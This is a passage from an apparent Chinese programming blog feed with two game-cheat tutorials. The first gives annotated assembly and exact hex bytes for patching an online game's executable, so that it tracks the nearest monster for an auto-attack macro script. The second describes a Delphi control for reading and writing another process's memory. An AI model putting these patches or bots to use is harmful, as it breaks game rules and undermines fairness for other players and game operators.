&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;//人Rx坐标放入ebx<br>004D03D9&nbsp; &nbsp; 3BC3&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;eax, ebx<br>004D03DB&nbsp; &nbsp; 7F 01&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jg&nbsp; &nbsp;&nbsp; &nbsp;short 004D03DE<br>004D03DD&nbsp; &nbsp; 93&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;xchg&nbsp; &nbsp; eax, ebx<br>004D03DE&nbsp; &nbsp; 2BC3&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;sub&nbsp; &nbsp;&nbsp;&nbsp;eax, ebx&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; //Gx与Rx之差放入eax<br>004D03E0&nbsp; &nbsp; 83F8 08&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;eax, 8&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;//两者差是否大于8<br>004D03E3&nbsp;&nbsp;^ 7F CE&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jg&nbsp; &nbsp;&nbsp; &nbsp;short 004D03B3&nbsp; &nbsp;&nbsp; &nbsp;//大于8在屏幕外，直接找下一个怪<br>004D03E5&nbsp; &nbsp; F7E0&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;mul&nbsp; &nbsp;&nbsp;&nbsp;eax&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;//横坐标差平方运算<br>004D03E7&nbsp; &nbsp; 8BF0&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;esi, eax&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;//横坐标差的平方放入esi中<br>004D03E9&nbsp; &nbsp; 8B87 40DAF9FF&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;eax, dword ptr [edi+FFF9DA40] //怪Gy坐标放入eax<br>004D03EF&nbsp; &nbsp; 8B1D B0FE8A00&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;ebx, dword ptr [8AFEB0]&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;//人Ry坐标放入ebx<br>004D03F5&nbsp; &nbsp; 3BC3&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;eax, ebx<br>004D03F7&nbsp; &nbsp; 7F 01&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jg&nbsp; &nbsp;&nbsp; &nbsp;short 004D03FA<br>004D03F9&nbsp; &nbsp; 93&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;xchg&nbsp; &nbsp; eax, ebx<br>004D03FA&nbsp; &nbsp; 2BC3&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;sub&nbsp; &nbsp;&nbsp;&nbsp;eax, ebx&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;//Gy与Ry之差放入eax<br>004D03FC&nbsp; &nbsp; 83F8 08&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;eax, 8&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; //两者差是否大于8<br>004D03FF&nbsp;&nbsp;^ 7F B2&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jg&nbsp; &nbsp;&nbsp; &nbsp;short 004D03B3&nbsp; &nbsp;&nbsp;&nbsp;//大于8在屏幕外，直接找下一个怪<br>004D0401&nbsp; &nbsp; F7E0&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;mul&nbsp; &nbsp;&nbsp;&nbsp;eax&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; //枞坐标差平方运算<br>004D0403&nbsp; &nbsp; 03F0&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;esi, eax&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;//横、枞坐标之差的平方的和放入esi中<br>004D0405&nbsp; &nbsp; 3B35 E42F4D00&nbsp;&nbsp;cmp&nbsp;&nbsp;esi, dword ptr [4D2FE4] //<font size=2>这个距离的平方与前次保存的距离的平方<br></font>004D040B&nbsp;&nbsp;^ 7D A6&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;jge&nbsp; &nbsp;short 004D03B3&nbsp; &nbsp;//大于或等于说明这个怪离玩家距离更远,找下一个怪<br>004D040D&nbsp; &nbsp; 893D E02F4D00&nbsp; &nbsp;mov&nbsp;&nbsp;dword ptr [4D2FE0], edi //<font size=2>更近怪名的起始地址固定在[4D2FE0]中<br></font>004D0413&nbsp; &nbsp; 8B47 AC&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;eax, dword ptr [edi-54] <br>004D0416&nbsp; &nbsp; 66:A3 F82F4D00&nbsp;&nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;word ptr [4D2FF8], ax&nbsp; &nbsp;//血量固定在[4D2FF8]中<br>004D041C&nbsp; &nbsp; 8935 E42F4D00&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;dword ptr [4D2FE4], esi //距离平方放在[4D2FE4]中<br>004D0422&nbsp; &nbsp; 8B87 90DAF9FF&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;eax, dword ptr [edi+FFF9DA90] //更近怪Gx坐标放入eax<br>004D0428&nbsp; &nbsp; 8B1D ACFE8A00&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;ebx, dword ptr [8AFEAC]&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;//人Rx坐标放入ebx<br>004D0431&nbsp; &nbsp; 2BC3&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;sub&nbsp; &nbsp;&nbsp;&nbsp;eax, ebx<br>004D0433&nbsp; &nbsp; BB 30000000&nbsp; &nbsp;&nbsp;&nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;ebx, 30<br>004D0438&nbsp; &nbsp; F7E3&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;mul&nbsp; &nbsp;&nbsp;&nbsp;ebx<br>004D043A&nbsp; &nbsp; 83C0 17&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;eax, 17<br>004D043D&nbsp; &nbsp; A3 F02F4D00&nbsp;&nbsp;mov&nbsp;&nbsp;dword ptr [4D2FF0], eax //换算后，鼠标点击X坐标放入[4D2FF0]中<br>004D0442&nbsp; &nbsp; 8B87 40DAF9FF&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;eax, dword ptr [edi+FFF9DA40]<br>004D0448&nbsp; &nbsp; 8B1D B0FE8A00&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;ebx, dword ptr [8AFEB0]<br>004D044E&nbsp; &nbsp; 83C0 08&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;eax, 8<br>004D0451&nbsp; &nbsp; 2BC3&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;sub&nbsp; &nbsp;&nbsp;&nbsp;eax, ebx<br>004D0453&nbsp; &nbsp; BB 20000000&nbsp; &nbsp;&nbsp;&nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;ebx, 20<br>004D0458&nbsp; &nbsp; F7E3&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;mul&nbsp; &nbsp;&nbsp;&nbsp;ebx<br>004D045A&nbsp; &nbsp; 83C0 02&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;add&nbsp; &nbsp;&nbsp;&nbsp;eax, 2<br>004D045D&nbsp; &nbsp; A3 F42F4D00&nbsp; &nbsp;mov dword ptr [4D2FF4], eax&nbsp;&nbsp;//换算后，鼠标点击Y坐标放入[4D2FF4]中<br>004D0462&nbsp; &nbsp; 83FE 02&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;cmp&nbsp; &nbsp;&nbsp;&nbsp;esi, 2&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; //距离平方是否小于或等于2<br>004D0465&nbsp; &nbsp; 7E 0B&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;jle&nbsp; &nbsp;&nbsp;&nbsp;short 004D0472&nbsp; &nbsp;&nbsp;&nbsp;//怪已经紧挨着玩家了，不用再找下一个怪了<br>004D0467&nbsp;&nbsp;^ E9 47FFFFFF&nbsp; &nbsp;&nbsp;&nbsp;jmp&nbsp; &nbsp;&nbsp;&nbsp;004D03B3&nbsp; &nbsp;&nbsp; &nbsp;//这个怪离玩家还有距离，可能还有更近的<br>004D046C&nbsp; &nbsp; 90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;nop<br>004D046D&nbsp; &nbsp; 90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;nop<br>004D046E&nbsp; &nbsp; 90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;nop<br>004D046F&nbsp; &nbsp; 90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;nop<br>004D0470&nbsp; &nbsp; 90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;nop<br>004D0471&nbsp; &nbsp; 90&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;nop<br>004D0472&nbsp; &nbsp; 5F&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;edi&nbsp; &nbsp; //各寄存器出栈，恢复现场<br>004D0473&nbsp; &nbsp; 5E&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;esi<br>004D0474&nbsp; &nbsp; 5A&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;edx<br>004D0475&nbsp; &nbsp; 59&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;ecx<br>004D0476&nbsp; &nbsp; 5B&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;ebx<br>004D0477&nbsp; &nbsp; 58&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;eax<br>004D0478&nbsp; &nbsp; C3&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;retn&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; //返回调用call的下一行</font><br><font size=3></font><br><font size=3>游戏运行过程中，只要运行以上这段代码，就会把最近怪的窗口X坐标固定在[004D2FF0]中，窗口Y坐标固定在[004D2FF4]中,血量固定在[004D2FF8]中。</font><br><font size=3></font><br><font size=3>&nbsp; &nbsp;&nbsp;&nbsp;<strong>4</strong>、用UltraEdit打开原文件，把下面数据复制到000d0390起的文件里.<br>50 53 51 52 56 57 33 C0 A3 E0 2F 4D 00 A3 F0 2F&nbsp;&nbsp;<br>4D 00 A3 F4 2F 4D 00 05 FF FF 00 00 A3 E4 2F 4D&nbsp;&nbsp;<br>00 33 C9 8B B9 00 30 4D 00 83 C1 04 81 F9 00 01&nbsp;&nbsp;<br>00 00 0F 8F AA 00 00 00 83 FF 00 74 E6 8B 87 90&nbsp;&nbsp;<br>DA F9 FF 8B 1D AC FE 8A 00 3B C3 7F 01 93 2B C3&nbsp;&nbsp;<br>83 F8 08 7F CE F7 E0 8B F0 8B 87 40 DA F9 FF 8B&nbsp;&nbsp;<br>1D B0 FE 8A 00 3B C3 7F 01 93 2B C3 83 F8 08 7F&nbsp;&nbsp;<br>B2 F7 E0 03 F0 3B 35 E4 2F 4D 00 7D A6 89 3D E0&nbsp;&nbsp;<br>2F 4D 00 8B 47 AC 66 A3 F8 2F 4D 00 89 35 E4 2F&nbsp;&nbsp;<br>4D 00 8B 87 90 DA F9 FF 8B 1D AC FE 8A 00 83 C0&nbsp;&nbsp;<br>08 2B C3 BB 30 00 00 00 F7 E3 83 C0 17 A3 F0 2F&nbsp;&nbsp;<br>4D 00 8B 87 40 DA F9 FF 8B 1D B0 FE 8A 00 83 C0&nbsp;&nbsp;<br>08 2B C3 BB 20 00 00 00 F7 E3 83 C0 02 A3 F4 2F&nbsp;&nbsp;<br>4D 00 83 FE 02 7E 0B E9 47 FF FF FF 90 90 90 90&nbsp;&nbsp;<br>90 90 5F 5E 5A 59 5B 58 C3&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;</font><br><font size=3></font><br><font size=3>改好后存盘，这样运行游戏时，游戏本身会把最近怪的窗口X坐标固定在[004D2FF0]中，窗口Y坐标固定在[004D2FF4]中,血量固定在</font><font size=3>[004D2FF8]中。<br><br><font size=4><strong>五、人物移动时，及时更新最近怪物参数<br></strong></font><font size=3>&nbsp; &nbsp;&nbsp; &nbsp;上面三个大步骤，刷出一个怪，消失一个怪，死亡一个怪时，都会运行call&nbsp;&nbsp;004D0390,也就是都会马上更新一下内存地址004D2FE0、004D2FF0、04D2FF4</font><font size=3>、004D2FF8的数据。人物移动时也必需及时更新最近怪物参数。<br>&nbsp; &nbsp;&nbsp; &nbsp;<strong>1</strong>、同样,我们用Cheat Engine找到人物移动时的汇编代码:<br>&nbsp; &nbsp;&nbsp; &nbsp; 人物每移动一步都会经过以下代码:<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;00432A78&nbsp; &nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;edi<br>&nbsp; &nbsp;&nbsp; &nbsp; 用OllyICE打开游戏。跳到以下这段代码可以看到：<br>00432A78&nbsp;&nbsp;|.&nbsp;&nbsp;5F&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;edi<br>00432A79&nbsp;&nbsp;|.&nbsp;&nbsp;5E&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;esi<br>00432A7A&nbsp;&nbsp;|.&nbsp;&nbsp;5B&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;ebx<br>00432A7B&nbsp;&nbsp;|.&nbsp;&nbsp;8BE5&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; mov&nbsp; &nbsp;&nbsp;&nbsp;esp, ebp<br>00432A7D&nbsp;&nbsp;|.&nbsp;&nbsp;5D&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;ebp<br>00432A7E&nbsp;&nbsp;|.&nbsp;&nbsp;C2 0400&nbsp; &nbsp;&nbsp; &nbsp; retn&nbsp; &nbsp; 4<br>因此把原文件改为如下（对照上面）：<br>00432A78&nbsp; &nbsp; - E9 D4D80900&nbsp; &nbsp;jmp&nbsp; &nbsp;&nbsp;&nbsp;004D0351 //<strong>这里改为跳到004d0351</strong><br>00432A7D&nbsp;&nbsp;|.&nbsp;&nbsp;5D&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;ebp<br>00432A7E&nbsp;&nbsp;|.&nbsp;&nbsp;C2 0400&nbsp; &nbsp;&nbsp; &nbsp; retn&nbsp; &nbsp; 4<br></font><br><font size=3>从004D0351开始写我们的代码，原文件中004D0351也是一块为00的空闲区域。<br>下面是我们添加进去的代码，原文件中是为00的空闲区域。</font><br><font size=3>004D0351&nbsp; &nbsp; E8 3A000000&nbsp; &nbsp;&nbsp;&nbsp;call&nbsp; &nbsp; 004D0390 //<strong>就是为了补进这句<br></strong>004D0356&nbsp; &nbsp; 5F&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;edi&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;//把原文件的代码补上 <br>004D0357&nbsp; &nbsp; 5E&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;esi<br>004D0358&nbsp; &nbsp; 5B&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;pop&nbsp; &nbsp;&nbsp;&nbsp;ebx<br>004D0359&nbsp; &nbsp; 8BE5&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;mov&nbsp; &nbsp;&nbsp;&nbsp;esp, ebp<br>004D035B&nbsp;&nbsp;- E9 1D27F6FF&nbsp; &nbsp;&nbsp;&nbsp;jmp&nbsp; &nbsp;&nbsp;&nbsp;00432A7D //跳回到原文件插入跳转指令的下一行</font><br><font size=3></font><br><font size=3><strong>&nbsp; &nbsp;&nbsp; &nbsp; 2、</strong>修改游戏原始文件，下次启动游戏时能运行我们的代码:<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;用UltraEdit打开原文件，把原文件地址为00032a78起数据：<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;5F5E5B8BE5 改为:E9D4D80900<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;把下面数据复制到000d0351起的文件里.<br>E8 3A 00 00 00 5F 5E 5B 8B E5 E9 1D 27 F6 FF <br></font><br><font size=3></font><br><font size=3>&nbsp; &nbsp;&nbsp; &nbsp;到此为止，我们终于把最近怪物的有用参数固定在004D2FE0、004D2FF0、04D2FF4、004D2FF8四个内存地址中，当然如果还想加入最近怪物的</font><font size=3>其他参数，如怪物是否被其他玩家攻击，是否为小BOSS等等只要修改CALL 004D0390这段代码就行。<br>&nbsp; &nbsp;&nbsp;&nbsp;把以上所有要改的数据改好存盘后，游戏原文件大小没有改变，但已经成功的把我们的代码注入进去了，启动游戏。查看游戏内存数据，可以看到内存004D2FE0、004D2FF0、04D2FF4、004D2FF8,正是我们需要的离玩家最近怪物的名称起址、窗口X坐标、窗口Y坐标、血量。随着游戏的进行，这几个内存地址都会及时正确的更新着。</font><br><font size=3></font><br><font size=3></font><br><font size=3><br><font size=4><strong>六、写个简单的内存找怪打怪脚本<br></strong></font><font size=3>前期工作做好后，编写内存找怪打怪按键精灵脚本就简单多了。</font><br><font size=3>下面是简单的脚本:</font><br><font size=3>Dim handle,Rx,Ry,Gx,Gy,G1,G2,X,Y&nbsp; &nbsp;&nbsp;&nbsp;//其中G1，G2为怪名的起始内存地址<br>Plugin handle=Window.MousePoint()<br>Rem 找怪<br>Plugin G1=Memory.Read32Bit(handle,&amp;h004d2fe0)<br>Plugin X=Memory.Read32Bit(handle,&amp;h004d2ff0)<br>Plugin Y=Memory.Read32Bit(handle,&amp;h004d2ff4)<br>Plugin BGKM4.MMove(handle,X,Y)<br>Delay 100<br>Plugin BGKM4.LClick(handle,X,Y)<br>Rem 判断<br>Plugin G2=Memory.Read32Bit(handle,&amp;h004d2fe0)<br>If G2=G1<br>Delay 100<br>Goto 判断<br>EndIf <br>Delay 100<br>Goto 找怪</font><br><font size=3>连怪血量的内存地址都不需要用上,因为怪名的起始地址也是及时更新的。</font><br><br><font size=4><strong>七、其他<br></strong></font><font size=3>&nbsp; &nbsp;&nbsp; &nbsp;以上脚本只是简单的砍怪,没有加入使用技能，没有加入补血补气，也没有加入捡取物品。游戏中遇到特殊情况也没做相应处理。</font><br><font size=3>&nbsp; &nbsp;&nbsp; &nbsp;关于使用技能，如可以通过统计紧挨玩家怪物的数量使用群攻技能。</font><br><font size=3>&nbsp; &nbsp;&nbsp; &nbsp;知道人物的血、气内存地址，补血补气那是很容易实现的了。</font><br><font size=3>&nbsp; &nbsp;&nbsp; &nbsp;关于游戏地面物品内存中的查找，原理其实同找怪一样，也可预先做一个需要捡取的物品清单，然后，把地面出现的物品与清单相比较，如果是要捡的，可以临时把坐标放入一固定内存区域内，跟据判定物品离玩家距离的远近和周围怪物的多少，决定恰当的时候去捡起。</font><br><font size=3>&nbsp; &nbsp;&nbsp;&nbsp;游戏中还有些关键的元素，如打怪路线，捡到极品自动存仓库，自动买药买蓝都可以通过读内存实现。</font><br><font size=3>&nbsp; &nbsp; 不说了，再说又是长篇大论。</font><br></font></font></font></font>
<img src ="http://www.cppblog.com/niewenlong/aggbug/28474.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-07-21 01:39 <a href="http://www.cppblog.com/niewenlong/archive/2007/07/21/28474.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在内存中修改数据的网游外挂</title><link>http://www.cppblog.com/niewenlong/archive/2007/07/20/28453.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Fri, 20 Jul 2007 09:26:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/20/28453.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/28453.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/20/28453.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/28453.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/28453.html</trackback:ping><description><![CDATA[现在很多游戏都是把一些信息存入内存单元的，那么我们只需要修改具体内存值就能修改游戏中的属性，很多网络游戏也不外于此。 <br><br>　　曾几何时，一些网络游戏也是可以用内存外挂进行修改的，后来被发现后，这些游戏就把单一内存地址改成多内存地址校验，加大了修改难度，不过仍然可以通过内存分析器可以破解的。诸如&#8220;FPE&#8221;这样的软件便提供了一定的内存分析功能。 <br><br>　　&#8220;FPE&#8221;是基于内存外挂的佼佼者，是家喻户晓的游戏修改软件。很多同类的软件都是模仿&#8220;FPE&#8221;而得到玩家的认可。而&#8220;FPE&#8221;实现的技术到现在都没有公开，很多人只能够通过猜测&#8220;FPE&#8221;的实现方法，实现同类外挂。笔者也曾经模仿过&#8220;FPE&#8221;实现相应的功能，如&#8220;内存修改&#8221;、&#8220;内存查询&#8221;等技术。稍后会对此技术进行剖析。 <br><br>　　既然要做内存外挂，那么就必须对Windows的内存机制有所了解。计算机的内存(RAM)总是不够用的，在操作系统中内存就有物理内存和虚拟内存之分，因为程序创建放入物理内存的地址都是在变化的，所以在得到游戏属性时并不能够直接访问物理内存地址。在v86模式下，段寄存器使用方法与实模式相同，那么可以通过段寄存器的值左移4位加上地址偏移量就可以得到线性地址，而程序创建时在线性地址的中保留4MB-2GB的一段地址，游戏中属性便放于此。在windows中把虚拟内存块称之为页，而每页为4KB，在访问内存时读取游戏属性时，为了不破坏数据完整性的快速浏览内存地址值，最好一次访问一页。 <br><br>　　在操作进程内存时，不需要再使用汇编语言，Windows中提供了一些访问进程内存空间的API，便可以直接对进程内存进行操作。但初学者一般掌握不了这一项技术，为了使初学者也能够对内存进行操作，做出基于内存控制的外挂，笔者把一些内存操作及一些内存操作逻辑进行了封装，以控件形式提供给初学者。控件名为：MpMemCtl。 <br><br>　　初学者在使用此控件时，要先安装外挂引擎控件包（在此后的每篇文章中外挂引擎控件包仅提供与该文章相应的控制控件），具体控件安装方式，请参阅《Delphi指南》，由于篇幅所限，恕不能详细提供。 <br><br>　　在引擎安装完成后，便可以在Delphi中的组件栏内，找到[MP GameControls]控件组，其中可以找到[MpMemCtl]控件。初学者可以使用此控件可以对内存进行控制。 <br><br>　　一、 得到进程句柄 <br><br>　　需要操作游戏内存,那么首先必须确认要操作的游戏,而游戏程序在运行时所产生的每一个进程都有一个唯一的句柄。 <br><br>　　使用控件得到句柄有三种方法： <br><br>　　1、 通过控件打开程序得到句柄。 <br><br>　　在控件中，提供了startProgram方法，通过该方法，可以打开程序得到进程句柄，并且可以返回进程信息。 <br><br>PProcInfo: PROCESS_INFORMATION; <br>MpMemCtl.startProgram( <br>　FilePath:String; //程序路径 <br>　var aProc_Info：PROCESS_INFORMATION //进程信息 <br>)：BOOLEAN&nbsp;&nbsp;<br><br>　　该方法提供了两个参数，第一个参数为要打开的程序路径，第二个参数为打开程序后所创建进程的进程信息。使用这个方法在得到进程信息的同时，并给控件的ProcHandle（进程句柄）属性进行了附值，这时可以使用控件直接对内存进程读写操作。其应用实例如下： <br><br>Var <br>　PProcInfo: PROCESS_INFORMATION; <br>begin <br>　MpMemCtl1.startProgram(edit1.Text, PProcInfo)&nbsp;&nbsp;&nbsp;<br><br>　　2、通过控件根据程序名称得到句柄。 <br><br>　　在控件中，对系统运行进程也有了相应的描述，控件提供了两个方法，用于根据程序名称得到相应的进程句柄。getProcIDs()可以得到系统现在所运行的所有程序的名称列表。getProcID()可以通过所运行程序名称，得到相应进程的句柄。 <br><br>getProcIDs():TStrings //所返回为多行字符串型 <br><br>getProcID( <br>aProcName:String //应用程序名称 <br>):Thandle; //应用程序进程句柄&nbsp;&nbsp;<br><br>　　其应用实例如下： <br><br>　　首先可以通过getProcIDs()并把参数列表返回ComboBox1.Items里： <br><br>ComboBox1.Items:=MpMemCtl1.getProcIDs();&nbsp;&nbsp;<br><br>　　接着可以通过getProcID()得到相应的进程句柄，并给控件的ProcHandle（进程句柄）属性进行了附值，这时可以使用控件直接对内存进程读写操作。 <br><br>MpMemCtl1.getProcID(ComboBox1.Text)&nbsp;&nbsp;<br><br>　　3、通过控件根据窗口名称得到句柄。 <br><br>　　在控件中，控件提供了两个方法，用于根据窗口名称得到相应的进程句柄。可以通过getALLWindow()得到所有在进程中运行的窗口。getWinProcHandle()可以通过相应的窗口名称，得到相应的进程的句柄。 <br><br>getALLWindow( <br>aHandle:THandle //传入当前窗口的句柄 <br>):TStrings; //返回当前所有运行窗口的名称 <br><br>getWinProcHandle( <br>aWindowName:String //传入当前窗口名称 <br>):Thandle; //返回窗口的句柄&nbsp;&nbsp;<br><br>　　其应用实例如下： <br><br>　　首先可以通过getALLWindow ()并把参数列表返回ComboBox1.Items里： <br><br>ComboBox1.Items:=MpMemCtl1. getALLWindow（Handle）;&nbsp;&nbsp;<br><br>　　接着可以通过getWinProcHandle ()得到相应的进程句柄，并给控件的ProcHandle（进程句柄）属性进行了附值，这时可以使用控件直接对内存进程读写操作。 <br><br>MpMemCtl1. getWinProcHandle (ComboBox1.Text);&nbsp;&nbsp;<br><br>　　二、使游戏暂停 <br><br>　　在程序中，为了便于更好的得到游戏的当前属性。在控件中提供了游戏暂停方法。只需要调用该方法，游戏便可以自由的暂停或启动。该方法为：pauseProc() <br><br>pauseProc( <br>　aType:integer //控制类型 <br>)&nbsp;&nbsp;<br><br>　　控制类型只能够传入参数0或1，0代表使游戏暂停，1代表取消暂停。其应用实例如下： <br><br>MpMemCtl1.pauseProc(0); //暂停游戏 <br>MpMemCtl1.pauseProc(1); //恢复暂停&nbsp;&nbsp;<br><br>　　三、读写内存值 <br><br>　　游戏属性其实寄存在内存地址值里，游戏中要了解或修改游戏属性，可以通过对内存地值的读出或写入完成。 <br><br>　　